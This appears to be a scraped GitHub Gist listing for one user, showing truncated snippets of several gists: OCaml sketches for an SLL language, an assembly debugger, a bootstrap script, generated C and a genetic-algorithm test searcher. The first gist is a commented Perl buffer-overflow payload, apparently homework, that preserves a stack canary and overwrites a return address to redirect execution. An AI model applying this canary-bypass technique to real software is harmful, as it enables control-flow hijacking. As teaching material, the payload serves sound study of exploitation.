Skip to content

Instantly share code, notes, and snippets.

@ramntry
ramntry / hw1.2.pl
Created February 20, 2014 20:38
Some binary exploit :)
#!/usr/bin/env perl
print "a" x 32; # fill some buffer gap
print "Z"."\x45\x8b\x6b"; # save the canary unchanged but use a temporary byte instead zero-byte to prolong c-string in memory
print "b" x 12; # fill some another gap
print "\x5b\x85\x04\x08"; # override the func_A() return address from main() body to func_B() beginning
print "\xd3\x94\xe1\xf7"; # write the func_B() return address equal to main() one
print "\n"; # return from first gets() call and wait for another one
print "c" x 32; # replace the temporary byte denoting zero-byte within canary with real zero
@ramntry
ramntry / sll.ml
Last active August 29, 2015 13:56
SLL representation sketch
type ident = string
type pattern = { pname : ident; pargs : ident list; }
type expr =
| Var of ident
| Ctr of ident * expr list
| FCall of ident * expr list
| GCall of ident * expr list
type gdef = {
gname : ident;
@ramntry
ramntry / sll.ml
Created February 28, 2014 16:57
SLL Arithmetic
type ident = string
type pattern = { pname : ident; pargs : ident list; }
type expr =
| Var of ident
| Ctr of ident * expr list
| FCall of ident * expr list
| GCall of ident * expr list
type gdef = {
gname : ident;
@ramntry
ramntry / dbg.asm
Last active August 29, 2015 13:57
Debugger
model tiny
.code
.486
org 100h
_:
fm_aligned = (offset free_memory - _ + 100h + 15) / 16 * 16
load_address = fm_aligned + 100h
start: call get_fname
@ramntry
ramntry / sll_bs
Created March 10, 2014 17:20
sll_bs -- Bootstrapping environment for SLL project (OCaml/Camlp5/Ostap)
#!/bin/bash
# sll_bs -- Bootstrapping environment for SLL project (OCaml/Camlp5/Ostap)
# Usage: ./sll_bs
#
# Author: Roman Tereshin <tereshin.roman@gmail.com>
# Created: 2014-03-10
cwd=`pwd`
ocaml_major="4.01"
@ramntry
ramntry / mul.c
Created March 12, 2014 21:22
Autogenerated C for multiplication function in SLL
Object mul_(Object ctr, Object y_) {
Object result = NULL;
switch (SLL_get_ctr_id(ctr[0])) {
case N_: {
Object const gcall_mul = mul_((Object)ctr[1], y_);
Object const gcall_neg = neg_(gcall_mul);
result = gcall_neg;
break;
} case S_: {
Object const gcall_mul_1 = mul_((Object)ctr[1], y_);
@ramntry
ramntry / gen.py
Last active August 29, 2015 13:57
Searching of test for the problem "Japanese computer" by genetic algorithm
#!/usr/bin/env python
# gen.py -- Searching of test for the problem "Japanese computer" by genetic algorithm
# Usage: ./gen.py ./executable_file
#
# Author: Roman Tereshin <tereshin.roman@gmail.com>
# Created: 2014-03-19
import os
import sys
import time
#include <algorithm>
#include <iostream>
#include <iterator>
#include <string>
#include <vector>
struct Employer {
std::string firstname;
std::string lastname;
double age;
object IdentParser {
def parse[S <: { def getIdent(): String }](stream: S) = {
val ident = stream.getIdent()
println("IdentParser got ident `" + ident + "'")
ident
}
}
object ConstParser {
def parse[S <: { def getConst(): String }](stream: S) = {
@ramntry
ramntry / pretty_expr.ml
Created April 3, 2014 19:48
Polymorphic variants expansion power example
type 'e expr = [
| `Var of string
| `Ctr of string * 'e list
]
let string_of_expr string_of_e = function
| `Var vname -> vname
| `Ctr (cname, args) ->
cname ^ "(" ^ String.concat ", " (List.map string_of_e args) ^ ")"